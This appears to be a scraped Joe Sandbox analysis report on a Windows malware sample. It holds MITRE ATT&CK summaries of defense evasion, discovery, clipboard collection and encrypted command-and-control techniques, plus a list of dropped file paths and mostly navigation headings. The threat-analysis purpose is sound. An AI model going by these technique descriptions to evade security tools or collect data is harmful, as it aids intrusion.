Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqoksxub.1dq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3fmbao4.pbp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgvcra1t.np0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urbrehpo.yuf.ps1

C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe